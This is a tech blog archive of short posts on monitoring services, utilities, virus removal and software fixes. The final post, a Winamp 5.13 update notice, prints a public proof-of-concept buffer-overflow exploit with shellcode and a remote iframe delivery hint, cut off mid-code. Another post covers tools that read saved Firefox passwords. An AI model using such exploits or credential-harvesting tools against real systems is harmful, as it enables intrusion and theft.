Category: Computer

  • Pingdom Offers Free Account With 20 SMS to Monitor One Website Every Minute

    I’ve been using Pingdom for at least 3 years already because they provide really good service and also the 1 minute checks from locations all over the world. I used to have problems sending SMS as notification and Pingdom’s support team fixed the problem really quick plus they even compensated more SMS credits to my account. I’ve always been using the Basic account because that is the cheapest plan they had back then. It’s pretty much a waste since I only have one blog site to monitor when the basic account offers checks on 5 websites.
    free pingdom account with sms
    My Pingdom account has just expired end of February and was billed $119.40 for a new invoice. I’ve just paid few thousand dollars for a years’ dedicated server at NetDepot and is really feeling the pinch for fork out another hundred bucks for a monitoring service. Moreover Adsense has stopped serving ads to this website and the revenue that is generated from other advertising companies is barely enough to cover the cost of this server. So I canceled my Pingdom account temporarily and thought that maybe I will re-sign up again at a later time when I have enough funds.

    To my surprise I found out that Pingdom has started offering FREE accounts along with 20 SMS but limited to only monitor ONE website. Pingdom Free account is fine with me because I only have 1 website to monitor and can save money.


    What I like about Pingdom is the control panel is easy to use and understand and most importantly it does 1 minute checks from different locations around the world. For me, I set Pingdom to check for a certain keyword on my blog site every minute and only notify me via SMS and email if detected 11 consecutive check errors (10 minutes).
    free website uptime monitor

    Other than checking for downtimes, Pingdom can also check how responsive is your website. Even if you only have FTP or mail server, Pingdom can check TCP ports (21 for FTP) and also SMTP, POP3, IMAP. The TCP port check makes it possible to check nearly everything including a game server such as Counter-Strike that is normally on port 27015.

    The important requirement to keep your free Pingdom account alive is to log in to the Pingdom control panel at least once every 90 days. If you’re not good at remembering things, the easiest way is to install a free app by Pingdom called Pingdom Desktop Notifier that runs in the background and notifies you if your website is down. This application connects to your control panel so you can get more information about an outage and access more Pingdom features such as our various reports.
    Pingdom Desktop Notifier

    If you think about it, you can register 5 free accounts and you’re able to monitor 5 websites. It’s doable but it’s wrong under Pingdom’s terms of service. One of the terms is “Only one free account per person or legal entity is allowed“. If they catch you using two or more free accounts, you will risk your accounts being terminated. Blacklisting your account is fine because you can always use a new email address and contact information, just don’t blacklist the IP or website that you want to monitor…

    So far I can’t find any better free uptime monitoring service than Pingdom. Sign up FREE Pingdom account from this link.

  • Open Hotmail with Firefox from Windows Live Messenger

    Have you ever noticed one very annoying problem when checking your Hotmail from MSN Messenger, it only opens with Internet Explorer? Windows Live Messenger is closely integrated with IE since Microsoft has to promote their web browser so Windows Live Messenger will always open pages in IE instead of other web browsers. I am very sure that I have Mozilla Firefox set as my default browser.

    Firefox default browser hotmail

    What I don’t understand is, when someone send me a message with a link, I am able to open link with Firefox, but when I click the small email icon to open my Hotmail inbox, it uses Internet Explorer! It seems the Windows Live Messenger does not respect Windows default browser.

    Firefox default browser for hotmail

    There seems to be a place where I can configure default programs for activities in Control Panel > Add or Remove Programs > Set Program Access and Defaults > Custom > and select Mozilla Firefox. Tried that but it did not work. Seems like the only way to open Hotmail when clicking the email icon at Windows Live Messenger is by installing plugins.


    1. Download Messenger Plus! Live and install.
    Important Note: When install, at the first screen, click Next. Take a careful look at the second screen because that’s where it will ask you whether to install sponsor program or not. Select “I refuse to give my support, don’t install the sponsor“.
    Remove Messenger Plus sponsor ads

    2. Download StuffPlug and install.

    3. Launch Windows Live Messenger and sign in.

    4. Try clicking the email icon and see if your Hotmail inbox will be launched in Firefox. If not, then click StuffPlug 3 from menu and select Options. Go to General tab and make sure the option “Open all URLs in default browser” is checked.
    Open all URLs in default browser

    Is it even necessary to install 2 types of Windows Live Messenger plugin for this feature? It depends… I guess it is only necessary for people who has problems launching Internet Explorer and they are used to opening Hotmail inbox from the email icon. For me, I can still live with opening Hotmail inbox with Internet Explorer although my default browser is Firefox.

  • Examine Malware Affected Systems with ESET SysInspector

    ESET, the developer for one of the top popular antivirus NOD32 has launched the beta version of ESET SysInspector late last year. ESET SysInspector is an application that thoroughly inspects your computer and displays gathered data in a comprehensive way. Information like installed drivers and applications, network connections or important registry entries can help you to investigate suspicious system behavior be it due to software or hardware incompatibility or malware infection. Pretty much like HijackThis but it is able to dig up more information about your computer.

    FREE ESET Sysinspector downloadAfter few months of testing, they’ve finally released a newer beta version which contains many fixes, changes and new features. Two major features added to the latest SysInspector beta is the detection of master boot record (MBR) infecting rootkits, such as Win32/Mebroot and anti-stealth device driver which dynamically loads at runtime to to detect rootkits and other hidden objects.


    ESET Inspector is portable. There is only one executable file (SysInspector.exe) which you run and it’ll start inspecting your computer. Each time ESET SysInspector is run, it examines the system to precisely determine its configuration. This process may take several minutes, depending upon the speed of your computer and the software installed on it. When ESET SysInspector has completed cataloging the system, it displays this information in its graphical user interface.

    Download FREE ESET SysInspector

    ESET SysInspector divides various types of information into several basic sections called nodes. If available you may find additional details by expanding each node into its subnodes. To open or collapse a node just double-click the name of the node or alternatively click or next to the name of the node. As you browse through the tree structure of nodes and subnodes in the Navigation Window you may find various details for each node shown in the Description Window. If you browse through items in the Description Window additional details for each item may be displayed in the Details Window.

    ESET SysInspector assigns risk levels to objects (files, processes, registry keys and so forth) using a series of heuristic rules that examine the characteristics of each object and then weight the potential for malicious activity. Based on these heuristics, objects are assigned a risk level from “1 – Fine (green)” to “9 – Risky (red).” In the left navigation pane, sections are colored based on the highest risk level of an object inside them. By adjusting the slider you can filter items by their Risk Level. If the slider is set to the utmost left (Risk Level 1) then all items are displayed. By moving the slider to the right the program filters out all items less risky than current Risk Level and display only items which are more suspicious than the displayed level. With the slider on the utmost right the program displays only known harmful items.

    All items belonging in the risk range 6 to 9 can “pose” security risk. It is recommended that you scan the files that poses a security risk with an antivirus or you can upload it to VirusTotal. However, since SysInspector is in BETA, there will be some of unknown applications such as shadowservice.exe from PowerShadow or even false positives which need to be corrected. There is also no way for you to add an application to a trusted or safe zone so SysInspector will not pick it up and flag it as security risk in future.

    Currently, ESET SysInspector does not have any ability to make any changes to computers. It is “read-only” in that it is designed for analysis, not malware remediation. Perhaps when it is no longer in BETA, it might have the ability to make changes.

    [ Download ESET SysInspector for Windows 32-bit | 64-bit ]

  • Giveaway: Website-Watcher 2010 The Best Webpage Update Monitoring Software

    I do realize that giveaways are not so often in this blog anymore. The truth is there are actually a few software companies that has approached me in sponsoring free licenses for giveaways but some of you may know me better, I do not simply host any giveaway for just any type of software. It had to be good, useful and I am even willing to do it for free if you are going to pay me. However if the software is not that good, I won’t even consider posting it here if they are going to pay for me it. Today’s giveaway is about a software which I have been using for many years already and it has helped me saved more than a hundred hours in total. Remember, time is money.
    check website updates
    I believe all of us here browse the web and very often check on our list of favorite websites and forums for updates and the whole process unknowingly takes a lot of time. You had to open every page in tabs, wait for it to load and then try to remember if you have seen this article yesterday on this website. Probably it won’t be very time consuming if it was only a few websites but if you had like 50 websites to check daily, you are losing a lot of time if you add all of them up for the whole year.

    I have tested nearly all webpage monitoring software that is available but no software can beat Website-Watcher. I would say that it is the best of what it does that I have come across.


    Basically what Website-Watcher does is it can monitor web pages, forums, RSS/Atom feeds, newsgroup, documents and binary files for updates. Then you can control what and when it gets checked with many other advanced features. Most blog sites including the one that you are currently reading now has RSS feeds and you can easily add it to Website-Watcher’s bookmark list. Checking the RSS feeds is faster because it doesn’t download all those unnecessary images and advertisements, saving both bandwidth and time.

    Website Watcher 2010 license key

    Forums are the hardest to monitor for updates because it has a lot of real time data being generated such as the number of reads, views which could generate false alert. But with Website-Watcher, it supports popular forum such as Burning Board, IP.Board, SMF, phpBB and vBulletin through plugins where everything is configured automatically. For password protected websites, you can enter the username and password or if it is a custom web form, then you can use Macro to record the login process.

    Website-Watcher 2010 has way too many features for me to mention everything on this article. For more detailed information, you can visit the official website or even better, download and install a 30 day trial and then you will know why I say that it is the best webpage update monitoring software. Below is the proof that Website-Watcher has saved me over 99 hours of time after using it for more than a year.

    Website Watcher saves time

    There are 3 editions of Website-Watcher. Basic, Personal and Business. The basic edition is the cheapest version that cost €29,95 for a single user license and it is most useful for people that just want to use it to auto check for website updates. As for the Personal edition, it cost €49,95 and it has more advanced feature such as AutoWatch, Newsgroup support, Scripting Language and Follow Links. As for Business, the features are very similar to Personal except it can password protect bookmarks and allows you to use in business environments.

    Aignesberger Software GmbH has been very kind to sponsor 5 personal license to be given away at this blog. It is a 1 year license which allows you to install any updates within the licensed period but you can continue using it when the 1 year period is up. Same rule applies, first you need to be a subscriber and secondly, leave a comment on this page. The winner will be randomly picked and announced tomorrow.

    [ Visit Aignesberger Software Website | Download Website-Watcher 2010 ]

  • 2 Free Tools to Recover Firefox Saved Usernames and Passwords

    Firefox can securely save passwords you enter in web forms to make it easier to log on to websites. By default the option “Remember passwords for sites” option is enabled but you will still be asked whether to save passwords for a site when you first visit it. Clicking the Remember button will save the login information, Not Now button to ignore it or Never for This Site, that site will be added to an exceptions list and will never prompt you to save the username and password for that site. This feature is available at every web browser and is offered as a convenience but also increases the risk of your login information being exposed.
    recover firefox login
    I normally save most of the usernames and passwords on my laptop because I am the only user and that computer is not shared with anyone else. If the laptop is not stolen or Windows is not hacked, then my usernames and passwords are pretty safe. One big reason I never let anyone touch my laptop is because someone could just run either of the 2 free portable tools to grab all my website passwords. Of course, we can also put these 2 tools to good use such as recovering the sign-on details when Firefox fails to open.


    1. FirePasswordViewer

    hack firefox password

    – FirePasswordViewer is the GUI version of popular FirePassword tool designed to decrypt sign-on secrets stored by Firefox. FirePasswordViewer tool can decrypt and display these secrets on the same lines as the Firefox built-in password manager. The main advantage of FirePasswordViewer is that it does not require Firefox to be running. Also FirePasswordViewer can be used to display sign-on secrets from different profile (other than current profile) as well as from the different operating system (such as Linux, Mac etc) altogether. This greatly helps forensic investigators who can copy the relevant files from the target system to test machine and view the credentials offline without affecting the target environment. The displayed sign-on information can then be saved to a file in standard HTML format which can be used as valuable and quick offline reference.

    [ Download FirePasswordViewer ]

    2. PasswordFox

    recover firefox password

    PasswordFox is a small password recovery tool that allows you to view the user names and passwords stored by Mozilla Firefox Web browser. By default, PasswordFox displays the passwords stored in your current profile, but you can easily select to watch the passwords of any other Firefox profile. For each password entry, the following information is displayed: Record Index, Web Site, User Name, Password, User Name Field, Password Field, and the Signons filename.

    [ Download PasswordFox ]

    To protect yourself against these 2 tools, simple enabling and setting a Master password would stop this 2 tools from harvesting your login information. You can do that in Tools > Options > Security tab > check “Use a Master password” and enter the password twice.

    Note: Here’s a weird case of false positives. According to VirusTotal, 27 out of 41 antivirus detects PasswordFox as hacktool/trojan but NONE detects FirePasswordViewer as a threat. Now both tool does the same thing, do you think that PasswordFox is infected or a false detection? To me, PasswordFox is a tool that’s more likely to be used by hackers because it can be ran with a command line using a backdoor trojan while the user is using the computer and he won’t know a thing about it. As for FirePasswordViewer, the hacker would have to run the program, click the Show button and then Export the results. You should read about what Nir Sofer has to say about the false detection on his programs.

  • Addictive Free Flash Game – Tower Defense

    I’ve played Master of Defense game before and it’s very addictive. I just kept on playing non-stop! I played Master of Defense few months back and today I found another similar game, a Macromedia Flash based Tower Defense game inspired by Elemental TD for WarcraftIII.
    Free Game
    The aim of the game is to kill the creeps before they reach the end of the maze, do this by building attacking towers on the grass around the maze.


    To build a tower click on it on the right hand side then click on the map where you want it to be built. Once built you can clock on towers to upgrade or sell them. To get a high score keep as much of your gold in the bank as possible, at the end of each round you earn interest on the gold in the bank.

    This game is FREE. You only need to make sure you have Flash player for this game to load in your browser. If you love this game, do leave a comment and I might just put out “Master of Defense” which I finished few months ago!

    [ Play Tower Defense ]

  • Fix Broken Codecs and Filters with Codec Tweak Tool

    Back when I was using Windows 98 and XP, codec pack is the first thing that I will install after completing the driver installation. These codecs are required to play downloaded videos and sometimes even audio files or else you might end up hearing the sound but no video and vice versa. The only codec pack that I used before is K-Lite Codec Pack and I never had any playback problems with it. As for now, I have not installed any codec packs ever since I started using media players such as VLC media player and KM Player that has built-in codecs. Moreover most of time I watch downloaded videos in my WD TV Live player and not on my computer so there is no reason that I need to install any codec packs on my computer.

    What I’ve learned last time was codec packs are very sensitive. After installing it and if it works perfectly, just leave it as it is and there is no need to update the codec pack. Reinstalling codec packs because of some playback problems may not even be advisable. You should probably try to use a tool called Codec Tweak Tool to scan the registry to detect and remove broken references to codecs and filters first.


    Actually Codec Tweak Tool is already included in the K-Lite Codec Pack. If you don’t have K-Lite Codec Pack, then you can just download this portable and free tool to help you detect and remove broken codecs and filters. It comes with a very simple and straight forward user interface with a couple of buttons such as Fixes, Reset settings, Various tweaks, Backup settings, Manage DirectShow filters, Manage source filters, Thumbnail settings, Generate log, Speaker configuration, DirectShow filter configuration, Restore settings and Manage ACM/VFW codecs.

    Codec Tweak Tool

    Most of the buttons there will probably confuse you if you are not familiar with codecs. So the best option to attempt fixing codec problems is to click the first button “Fixes” followed by detect and remove broken VFW/ACM codecs and DirectShow filters. Do not worry if some of the buttons in Codec Tweak Tool are grayed out or disabled. It merely meant that there is nothing to configure for that section.

    Download Codec Tweak Tool

  • Transfer or Transload RapidShare Files to Your Server with Free RapidLeech PHP Script

    The most frequent problem that we(Malaysians) always get from using our ISP is slow connection to international sites. For locally hosted websites such as LowYat, there’s no such problem. Well, our Malaysian ISP TM Net has done it again, 2 weeks of really slow internet connection to international sites and they’re still not able to fix it. I find it really hard to even download a driver file from manufacturer’s website.

    I am a big fan of Heroes and I wanted to use my RapidShare Premium account to download the latest Heroes episode 3×16. My maximum download speed is 1.5Mbps and I am downloading at only 238 bytes/sec, that is 0.2kilobytes per second!
    Slow RapidShare Download Speed
    Imagine this has been going on for 2 weeks. How humiliating… At first I waited patiently, keeping my fingers crossed hoping that this problem will last for a day or two but it just went on until today. Made me so fed up and I had to look for another method to download my favorite latest TV show.

    Since this is a connection problem, rapidshare automated downloader tools such as jDownloader and CryptLoad are now totally useless. The solution to continue downloading from RapidShare is to install a transloading script on a web server hosted in Malaysia, and use the script to make your server download the file from RapidShare. Once the server finished downloading the file from RapidShare, I would then download from my server at maximum speed.


    I found a free script called RapidLeech PlugMod rev. 36 that is able to do that. It supports downloading from RapidShare.com and 35 other file hosting servers such as 2shared.com, 4shared.com, adrive.com, depositfiles.com, downtown.vc, easy-share.com, filefactory.com, fileflyer.com, filego.net, files.to, filesend.net, gigasize.com, ifolder.ru, imageshack.us, letitbit.net, mediafire.com, megashare.com, megashares.com, megaupload.com, netload.in, rapidshare.de, savefile.com, sendspace.com, share-online.biz, sharebase.to, sharedzilla.com, speedyshare.com, turboupload.com, uploaded.to, uploading.com, uploads.bizhat.com, youtube.com, ziddu.com, zippyshare.com and zshare.net.

    To download the latest RapidLeech script, you’d have to register at the forum in order to view the download link. Here’s a scenario on how to install the script on my www.mywebsite.com

    Once I finished downloading the script, I extract and upload the contents to rapidleech folder on my web server using FTP client.
    Install RapidLeech Script
    I then have to make the “files” folder writable for the script to download and dump the files there. If your websever is a linux server, simply right click on the folder, select CHMOD and check all so that the permissions will be set as 777. In Windows server, you’d have to ask the server administrator to set the file folder as writable.

    Now I open up my browser, type www.mywebsite.com/rapidleech and I can start asking my server to download files from RapidShare by inserting the rapidshare link and hit the Transload File button.
    Transload RapidShare File

    When the server shows that it has finished downloading, I can then download the file to my computer by simply clicking on the link. As you can see that I can download the file that was in rapidshare at 150+KBps. For advanced users, you can take a look at the config.php in config folder. You can set restrictions and also use premium accounts if you have one.
    download rapidshare rapidleech

    This script is brilliant and will be very useful when your ISP has problems with international links or if your ISP has blocked you from file sharing websites. Even downloading from normal direct link works! If you want to make some money, you can even modify the script to provide premium download features to public and probably earn few hundreds of dollars per month via advertisement. Of course you will need a powerful server that allows a lot, if not unlimited bandwidth plus a large web space to store the downloaded files. Only one small problem that is the script must be constantly maintained and updated or else when some of the service gets updated, the script will fail to download or upload.

  • Fastest USB Flash Drive 2010 with Benchmark

    I’ve always loved the performance of Corsair USB flash drives because they are known to be the fastest in the world. 3 years ago I bought a 4GB Corsair Flash Voyager GT which was the fastest back then and I am very impressed with the read and write speed until today. Well back then 4GB is a lot of space but today it is not even enough to backup a DVD which is 4.37GB. So I checked Corsair’s website and they now have GTR range which claims to be even faster than GT! I searched very hard in Malaysia and no one seems to be selling a 128GB Corsair GTR USB flash drive. Fortunately I’ve got a friend living the United States coming back to Malaysia for summer holidays and he’s willing to help me bring it over.

    I went to Amazon.com and they are selling the Corsair 128GB Flash Voyager GTR at the price of $289.99. It’s a little expensive but I think it’s worth the price since I can store nearly 30 DVD discs contents into one small plug and play USB flash drive that I can carry around in my pocket without requiring external power. I’ve done a little benchmark to compare against my other USB flash drives and also an external Maxtor hard drive 7200RPM.


    First of all, here is how the Corsair 128GB Flash Voyager GTR looks like. It comes with a durable and water-resistant rubber housing. The size is also much bigger compared to normal USB flash drives but it is still very small when compared to an USB external hard drive.

    USB flash drive size comparison

    Now the most important thing is to see how fast can Corsair 128GB Flash Voyager GTR perform when compared to others. I’ve used Nirsoft’s USBDeview to test the read and write speed, and also DiskBench to test the drive’s speed in a real life situation with file copying, file creation, and file reading instead in a benchmarking environment. Higher number is better in the benchmark report below.

    USB Flash Drive Benchmark 2010

    As you can see from the USB flash drive benchmark result above, the Corsair GTR read speed is even faster than the Maxtor 7200RPM external hard drive! As for the writing speed, it’s averagely around 27% slower than the external hard drive but it’s the fastest if you sort the list in Nirsoft USB Flash Drive Speed test according to write. The drives that are faster than Corsair GTR in the Nirsoft Drive Speed list such as TOSHIBA MK4018GAS, BUFFALO HD-CXU2, Seagate FreeAgent Go and SAMSUNG HD103UJ HDD are actually external hard drives. If you’re looking for the fastest USB flash drive, go for Corsair GTR and you will definitely love the read and write performance.

    The old Corsair GT which I’ve used for 3 years still performs very well without problems. The frequently asked questions regarding Corsair’s flash drive wear leveling mentions that Corsair flash drives are built with memory components that can handle AT LEAST 10,000 write cycles. It will definitely last more than 10 years with their dynamic wear leveling technology.

  • Solving Cannot create the window Error on Microsoft Visual Studio 2010

    Web installation is getting very common especially when downloading software from Microsoft. The good thing about using web installation is it only download what is necessary, saving both time and bandwidth to install the software. However, for advanced users who doesn’t want to re-download, they prefer to go for offline redistributable setup. A one time download on a huge setup file and there is no need to download again whenever there is a need to reinstall.

    The sames goes to Microsoft Visual Studio 2010 Express. If you want to download Visual C# 2010 Express, you can use the web installer vcs_web.exe file and it will download all necessary files and install it on the computer. The official download page also contains an ISO image (VS2010Express1.iso) file at 695MB in size that enables you to install Visual Studio Express products without requiring Internet access during installation. Out of curiosity, I tested another method on how to offline install Visual Studio Express without downloading the whole image file.


    From the looks of it, the method has some really cool tricks which is extracting the web installer, opening the baseline.dat file with a text editor to extract the URL which the web installer downloads the files from, and finally installing it with a custom command line switch.

    I’ve installed Microsoft Visual C# 2010 Express using the method above and everything seemed to fine until when I tried running Microsoft Visual C# 2010 Express. All I get is an error window telling me “Cannot create the window“.

    Cannot create the window

    There are a lot of tips on how to fix this error such as reverting the machine.config to the default version, reinstalling .NET Framework, reinstalling Visual Studio 2010, recreating msvcm100.dll, but none of it fixes the “Cannot create the window” error.

    Finally I tried reinstalling Microsoft Visual C# 2010 Express using the web installer and noticed that it needs to download and install an additional 9 other components which are VC 9.0 Runtime, .NET Framework 4 Multi-Targeting Pack, Microsoft SQL Server Compact 3.5 SP2 and etc…

    Visual Studio 2010 components

    Visual C# 2010 Express cannot run if any of the required components are not installed. So the best is to either use the web installer if you have a fast internet connection or simply download the all-in-one ISO file and burn it to a CD, mount it as a virtual drive or extract it with 7-Zip.

    Download Visual Studio 2010 Express All-In-One ISO
    Download Visual Basic, C#, C++ 2010 Express Web Installer

  • Search a Particular Word in Multiple Editable Text Files

    I have my own private RapidLeech server which is hosted in Malaysia and it’s very useful whenever I am downloading a file at a very slow speed. I can make use of the server that has a very fast connection to download the file for me and save it to the server and then I will download it from the server. Since the server is located in the same country as I currently am, I am able to achieve maximum download speed. The only thing I have to worry is I have to make sure that my hosting does not run out of the given bandwidth which is 200GB. Once I exceed the bandwidth limit, all websites will be suspended until it reset in the new month.

    I’ve updated to the latest Rapidleech v42 pr-t2 because the v41 wasn’t working very well. After the upgrade, I am seeing an error message at the footer of the rapidleech page which says “getCpuUsage(): couldn’t access STAT path or STAT file invalid“. I have tried installing RapidLeech on another server and there’s no such error message. It is supposed to display a nice information on server space and CPU load.
    getCpuUsage(): couldn't access STAT path or STAT file invalid
    That error is not a big deal but I don’t want that error message to show. There are 447 files in RapidLeech archive and I am certainly not going to edit one by one with notepad and search for the getCpuUsage keyword. So I use TextCrawler to automatically help me find a keyword across multiple files and folders.


    TextCrawler is a free tool for searching and replacing over multiple plain text files. It can search for straight text and supports advanced search/replace via regular expressions.

    download textcrawler grep for windows

    TextCrawler Features:

  • Find and Replace across files
  • Fast searching, even on large files
  • Simple to use interface
  • Flexible search parameters
  • Text Extractor – rip text into a new file
  • Search and replace using Regular Expressions. Create sophisticated searches
  • Regular Expression test tool
  • Regular Expression library – Save your searches
  • Create backup files
  • Highlighted search results
  • Export Results
  • Batch find and replace operations
  • To use TextCrawler search for a word, I first select the folder (Start Location) that I want to search in. Then set the Filename/Filter as *.* so it will try to search all files in that selected folder. At Find, I entered the word getCpuUsage and then clicked the Find button. In less than 3 seconds, TextCrawler is able to let me know which text files contains the word “getCpuUsage” and at which line.

    In another scenario, during software giveaways, there are more than 1000 entries and copying every single email address to a text file to randomly select a winner is tough. So I hacked the WordPress core file to set it to display 300 comments for an article. Then I saved all the contents to a text file, and use TextCrawler’s Regular Expressions to easily extract all the email addresses.

    [ Download TextCrawler ]

  • How To Clean and Remove JambanMu, Alman or Almanahe Virus

    I thought Brontok virus from Indonesia was the most powerful, annoying and toughest virus to remove but now I have encountered another virus which is worst than Brontok. The virus will leave a HTML file which you can identify the virus name as JambanMu. In Malaysia, when say Jamban, it means toilet. But I have a Malay friend and he told me that jambanmu means “Your V@gina”. He also added that the word Jamban is used in Malaysia, so this virus might be originated from Malaysia!

    Weirdly, antivirus company doesn’t identify the virus as JambanMu. I uploaded the virus file to VirusTotal and all antivirus is able to identify the file as Alman or Almanahe virus. Just like Brontok, some antivirus calls it Rontokbro.

    Here are the symptoms of being infected by JambanMu, Alman or Almanahe virus and also how to easily removing this annoying virus.


    1. You have a HELP ME!!.html file at your C:\ drive. When you open it, it has the title of W32.JambanMy.V2 which brings MESSEGE FROM HELL!! It insults and complain about KFC, McDONALD, 7 11, oil, water, electricity, azam, zawawi, kamal, dzulkifli, israel, bush and yahudi. At the bottom, it has a line that says “Reported by 666.JambanMu.V2″
    JambanMu removal tool

    2. Registry Editor (regedit) being disabled.
    Registry Editing has been disabled by your administrator

    3. Command Prompt (cmd) being disabled.
    Command prompt has been disabled by your administrator

    4. Flash.10.exe and Macromedia.10.exe loaded in Windows Task Manager.
    Flash.10.exe and Macromedia.10.exe in Windows Task Manager

    5. Folder Options missing
    Restore Folder Options

    6. Search at Start Menu missing
    Restore Windows Search

    7. You’re unable to access a lot of AntiVirus websites such as virustotal.com, symantec.com and etc because your HOSTS file has been modified to redirect antivirus websites to 127.0.0.1.

    Jambanmy icon removal toolJambanMu virus spreads via mapped drives and also portable USB flash drive. When I plug in a USB flash drive on a computer that is infected by JambanMu virus, it automatically creates autorun.inf and Flash.10.Setup.exe. If I open the flash drive from My Computer, it’ll run Flash.10.Setup.exe and infects the computer. JambanMu virus reaches the computer in a file that has the icon of a flash file.

    I also noticed another thing. When I insert a USB flash drive that is infected by JambanMu virus to a computer, I right click on the drive, there is a menu that says “Scan for Viruses“. I right click on local hard drives, but this menu didn’t appear.
    Right click scan for viruses

    Just as I’ve expected, there is an autorun.inf file at the root of my USB flash drive and gives this command. If I select this command, it’ll launch Scanner.exe which is also JambanMu virus.
    Delete and remove Autorun.inf virus

    At first I tried removing this virus using AIMfix, CaSIR, HijackThis and they all failed. After a little searching, I found a lot of research and testing, you only need to run 2 types of cleaners to easily and automatically remove JambanMu, Alman or Almanahe virus and also restoring the damages made by the virus. Do NOT run ComboFix and SDFix together simultaneously. Run ComboFix first, restart, then run SDFix.

    1. ComboFix
    Download Combofix clean virus
    Instructions: Do not mouseclick combofix’s window while it is running. That may cause it to stall.
    [ Download ComboFix ]

    2. SDFix
    Download SDFix clean virus
    Instructions: Download and run SDFIX.exe. Click install button to extract SDFix files. Restart your computer in Safe Mode. Once you’re booted into Safe Mode, go to C:\SDFix folder and launch RunThis.bat. Press Y and hit ENTER. It will start scanning your computer and removing JambanMu virus.
    [ Download SDFix ]

    Once you’ve completed running both ComboFix and SDFix, the JambanMu, Alman or Almanahe virus will be removed and your registry editor, command prompt, folder options and windows search will be restored.

    When I was doing my research on this virus, I found other 2 files to clean JambanMu virus. First one is Virus Remover Tool for Win32/Alman from AVG. It is able to “clean” JambanMu virus but it does not restore the damage. You must download the following two files ( rmalman.exe, rmalman.nt ) and run the rmalman.exe file.
    [ Download AVG Win32/Alman Removal Tool ]

    The second one is called KillFlash1.0 which claims to kill Flash.10.exe. I’ve tried this tool and it is not effective.
    [ Download KillFlash1.0 ]

  • Find Out Who is Hosting Website With .CO.CC

    Recently I’ve been getting a lot of pingbacks and most of them comes from .co.cc websites. A pingback is a method for web authors to request notification when somebody links to one of their documents. Typically, web publishing software will automatically inform the relevant parties on behalf of the user, allowing for the possibility of automatically creating links to referring documents. For example, I’ve written an article on my Web log. Bob then reads this article and comments about it, linking back to my original post. Using pingback, Bob’s software can automatically notify me that my post has been linked to, and my software can then include this information on my site.
    wordpress pingback spam
    When I checked on these few websites, they appeared to be copycats, simply and blindly copying EVERYTHING word to word plus linking the images directly from my site stealing my server’s bandwidth. The reason why I got pingback notification is because sometimes I add links to my old article and they forgot to remove it causing them to link to my old post.

    Dealing with copycats is easy. Normally I notify them via email IF there is a contact form (well most copycats don’t have one, maybe they don’t want to be contacted so that they can play ignorant) or leave a comment. If they don’t respond to my request, I will fax an abuse complaint letter to their webhost and they normally respond to it by suspending the website. Problem is .co.cc is not a webhost and they are just redirectors. Here is how I find their webhost for websites with .co.cc address.


    CO.CC has an online form to report spam or abuse but all they do is just delete/suspend the URL. The copycats can sign up for a new account and redirect their original website to use a new .co.cc url. The best way is to find their webhost and then make sure that the copycat’s website get suspended and lose the articles that they spent hours or days copying.

    This two sites (naisoft.co.xx & pcwilleasy.co.xx, replace the xx with cc) has been doing for it a long time and it’s time to let them know it’s wrong. All I needed to use is Robtex’s DNS tool that checks detailed DNS information for a hostname or a domain.

    decoding .co.cc links

    As you can see, naisoft is hosted at summerhost.info and pcwilleasy is hosted at atbhost.net. Try looking for the “Terms of Service” or “Terms of Use” page which contains information for you to contact them. If not, just try to contact the abuse department via support ticket or contact form. There will be times when these companies that provides free hosting ignores your request because they too think you cannot legally do anything to them. Well they are wrong. Normally they don’t own the servers at home and they rent the servers from datacenters. So contact their datacenter and they’ll surely comply with your request or else they’ll risk their servers being terminated. To find the datacenter, just do a whois on the IP address using DNS Tools.

    As you can see, redirecting your wordpress, blogspot, 000webhost and etc hosted website to a .co.cc address to hide your original website don’t protect you nor let you get away from copying articles. The two copycats has complied with my request and removed the articles that they copied from here.

  • Winamp 5.13 Released – Fixes extremely critical security flaw

    Winamp 5.13
    NullSoft has released Winamp version 5.13 on 1/30/06 that fixes an “EXTREMELY” critical security vulnerability in (in_mp3).
    Everyone is extremely recommended to update to the latest version.


    ATmaCA has discovered a vulnerability in Winamp, which can be exploited by malicious people to compromise a user’s system.
    The vulnerability is caused due to a boundary error during the handling of filenames including a UNC path with a long computer name. This can be exploited to cause a buffer overflow via a specially crafted playlist containing a filename with an overly long computer name (about 1040 bytes).
    Successful exploitation allows execution of arbitrary code on a user’s system when e.g. a malicious website is visited.
    The vulnerability has been confirmed in version 5.12. Other versions may also be affected.

    [ Download Winamp v5.13 Setup ]
    Or you can alternatively download the in_mp3.dll and place it in your Winamp\Plugins folder.

    For computer security wizards, you can take a look at the exploit code below.
    I do not take any responsibility that can/has been done with the code below as it is widely and publicly available.

    /*
    *
    * Winamp 5.12 Remote Buffer Overflow Universal Exploit (Zero-Day)
    * Bug discovered & exploit coded by ATmaCA
    * Web: http://www.spyinstructors.com && http://www.atmacasoft.com
    * E-Mail: atmaca@icqmail.com
    * Credit to Kozan
    *
    */

    /*
    *
    * Tested with :
    * Winamp 5.12 on Win XP Pro Sp2
    *
    */

    /*
    * Usage:
    *
    * Execute exploit, it will create “crafted.pls” in current directory.
    * Duble click the file, or single click right and then select “open”.
    * And Winamp will launch a Calculator (calc.exe)
    *
    */

    /*
    *
    * For to use it remotely,
    * make a html page containing an iframe linking to the .pls file.
    *
    * http://www.spyinstructors.com/atmaca/research/winamp_ie_poc.htm
    *
    */

    #include
    #include

    #define BUF_LEN 0x045D
    #define PLAYLIST_FILE “crafted.pls”

    char szPlayListHeader1[] = “\r\nFile1=”;
    char szPlayListHeader2[] = “\r\nTitle1=~BOF~\r\nLength1=FFF\r\nNumberOfEntries=1\r\nVersion=2\r\n”;

    // Jump to shellcode
    char jumpcode[] = “\x61\xD9\x02\x02\x83\xEC\x34\x83\xEC\x70\xFF\xE4″;

    // Harmless Calc.exe
    char shellcode[] =
    “\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02″
    “\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48″
    “\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4″
    “\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12″
    “\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69″
    “\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6″
